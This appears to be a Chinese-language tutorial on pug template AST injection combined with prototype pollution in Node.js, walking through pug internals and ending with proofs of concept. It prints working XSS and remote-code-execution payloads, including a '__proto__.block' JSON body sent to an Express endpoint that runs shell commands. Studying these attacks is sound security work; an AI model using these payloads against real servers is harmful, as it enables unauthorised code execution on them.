AST Injection + Prototype pollution to RCE

模版引擎是什么

JS web开发中常用的模版引擎如 ejs、pug、handlebars 功能：动态渲染HTML代码，创建可重复使用的页面结构

ejs 模版使用

1
// 安装EJS模块：npm install ejs
2

3
// 引入EJS模块
4
const ejs = require('ejs');
5

6
// 定义模板
7
const template = `
8
  <h1>Hello, <%= name %>!</h1>
9
`;
10

11
// 渲染模板
12
const data = { name: 'John' };
13
const html = ejs.render(template, data);
14

15
console.log(html);

handlebars 模版使用

1
// 安装Handlebars模块：npm install handlebars
2

3
// 引入Handlebars模块
4
const handlebars = require('handlebars');
5

6
// 定义模板
7
const template = `
8
  <h1>Hello, {{name}}!</h1>
9
`;
10

11
// 编译模板
12
const compiledTemplate = handlebars.compile(template);
13

14
// 渲染模板
15
const data = { name: 'John' };
16
const html = compiledTemplate(data);
17

18
console.log(html);

pug 模版使用

1
// 安装Pug模块：npm install pug
2

3
// 引入Pug模块
4
const pug = require('pug');
5

6
// 定义模板
7
const template = `
8
  h1 Hello, {name}!
9
`;
10

11
// 编译模板
12
const compiledTemplate = pug.compile(template);
13

14
// 渲染模板
15
const data = { name: 'John' };
16
const html = compiledTemplate(data);
17

18
console.log(html);

模版引擎的工作原理

词法解析 -> 语法解析 -> 代码生成

但是在语法树处理的过程中，如果存在原型链污染，则可以随意修改AST树，进而影响生成的代码，最终达到RCE（远程代码执行）的目的

pug template AST injection

1
const pug = require('pug');
2

3
Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};
4

5
const source = `h1= msg`;
6

7
var fn = pug.compile(source, {});
8
var html = fn({msg: 'It works'});
9

10
console.log(html); // <h1>It works<script>alert(origin)</script></h1>

当执行到 fn({msg: 'It works'}); 这一步的时候，本质上是进入了一段函数

1
(function anonymous(pug
2
) {
3
function template(locals) {var pug_html = "", pug_mixins = {}, pug_interp;var pug_debug_filename, pug_debug_line;try {;
4
    var locals_for_with = (locals || {});
5

6
    (function (msg) {
7
      ;pug_debug_line = 1;
8
pug_html = pug_html + "\u003Ch1\u003E";
9
;pug_debug_line = 1;
10
pug_html = pug_html + (pug.escape(null == (pug_interp = msg) ? "" : pug_interp)) + "\u003Cscript\u003Ealert(origin)\u003C\u002Fscript\u003E\u003C\u002Fh1\u003E";
11
    }.call(this, "msg" in locals_for_with ?
12
        locals_for_with.msg :
13
        typeof msg !== 'undefined' ? msg : undefined));
14
    ;} catch (err) {pug.rethrow(err, pug_debug_filename, pug_debug_line);};return pug_html;}
15
return template;
16
})

AST Injection原理分析

语法树结构

pug 解析 h1= msg ，生成的语法树结构：

1
{
2
    "type":"Block",
3
    "nodes":[
4
        {
5
            "type":"Tag",
6
            "name":"h1",
7
            "selfClosing":false,
8
            "block":{
9
                "type":"Block",
10
                "nodes":[
11
                    {
12
                        "type":"Code",
13
                        "val":"msg",
14
                        "buffer":true,
15
                        "mustEscape":true,
16
                        "isInline":true,
17
                        "line":1,
18
                        "column":3
19
                    }
20
                ],
21
                "line":1
22
            },
23
            "attrs":[
24

25
            ],
26
            "attributeBlocks":[
27

28
            ],
29
            "isInline":false,
30
            "line":1,
31
            "column":1
32
        }
33
    ],
34
    "line":0
35
}

语法树生成后，会调用 walkAst 执行语法树的解析过程，依次对每个节点的类型进行判断，即如下代码：

1
function walkAST(ast, before, after, options){
2

3
  parents.unshift(ast);
4

5
    switch (ast.type) {
6
      case 'NamedBlock':
7
      case 'Block':
8
        ast.nodes = walkAndMergeNodes(ast.nodes);
9
        break;
10
      case 'Case':
11
      case 'Filter':
12
      case 'Mixin':
13
      case 'Tag':
14
      case 'InterpolatedTag':
15
      case 'When':
16
      case 'Code':
17
      case 'While':
18
        if (ast.block) { // 注意这里
19
          ast.block = walkAST(ast.block, before, after, options);
20
        }
21
        break;
22
      case 'Text':
23
        break;
24
  }
25
  parents.shift();
26

27
}

语法树执行顺序以刚刚生成的语法树结构举例，解析顺序为：

Block
Tag
Block
Code
…?

注意第4步解析 node.Type 为 Code 类型，会执行如下代码：

1
      case 'Code':
2
      case 'While':
3
        if (ast.block) { // 注意这里
4
          ast.block = walkAST(ast.block, before, after, options);
5
        }

判断 ast.block 属性是否存在，此处的 ast 即当前ast语法树的节点
如果存在，继续递归解析 block

结合原型链污染

如果某处存在原型链污染漏洞，使得

1
Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};

那么 ast.block 就会访问到 ast.__proto__.block ，即Object.prototype.block 的属性

此时代码输出结果，导致了XSS

1
const pug = require('pug');
2

3
Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};
4

5
const source = `h1= msg`;
6

7
var fn = pug.compile(source, {});
8
var html = fn({msg: 'It works'});
9

10
console.log(html); // <h1>It works<script>alert(origin)</script></h1>

RCE

我们知道pug本质上是将一段代码，如 h1 =msg 编译为一段js代码，背后其实就是生成语法树+ new Function

因此如果能通过AST Injection插入节点，并使之成为代码，即可达到远程代码执行的目的。

刚好pug中就有如下代码：

1
if (debug && node.debug !== false && node.type !== 'Block') {
2
    if (node.line) {
3
        var js = ';pug_debug_line = ' + node.line;
4
        if (node.filename)
5
            js += ';pug_debug_filename = ' + stringify(node.filename);
6
        this.buf.push(js + ';');
7
    }
8
}

那么我们通过 AST Injection + Prototype Pollution 即可实现RCE

1
const pug = require('pug');
2

3
Object.prototype.block = {"type":"Text","line":`console.log(process.mainModule.require('child_process').execSync('id').toString())`};
4

5
const source = `h1= msg`;
6

7
var fn = pug.compile(source, {});
8
var html = fn({msg: 'It works'});
9

10
console.log(html);

Attack example

express 开发的web服务，其中一个CGI如下：

1
router.post('/api/submit', (req, res) => {
2
    const { song } = unflatten(req.body);
3

4
  if (song.name.includes('Not Polluting with the boys') || song.name.includes('ASTa la vista baby') || song.name.includes('The Galactic Rhymes') || song.name.includes('The Goose went wild')) {
5
    return res.json({
6
      'response': pug.compile('span Hello {user}, thank you for letting us know!')({ user:'guest' })
7
    });
8
  } else {
9
    return res.json({
10
      'response': 'Please provide us with the name of an existing song.'
11
    });
12
  }
13
});

本地跑起来后运行在1337端口：

原型链污染

注意到这一行代码：

1
const { song } = unflatten(req.body);

unflatten 这个库存在原型链污染

1
var unflatten = require('flat').unflatten;
2
unflatten({ '__proto__.polluted': true });
3
console.log(this.polluted); // true

AST Injection

注意到这一行代码：

1
pug.compile('span Hello {user}, thank you for letting us know!')({ user:'guest' })

结合原型链污染，可以实现RCE

1
{
2
       "song.name": "The Goose went wild",
3
        "__proto__.block":{
4
            "type":"Text",
5
      "line":"process.mainModule.require('child_process').exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')" // 可以执行任意命令
6
    }
7
}

参考 https://blog.p6.is/AST-Injection/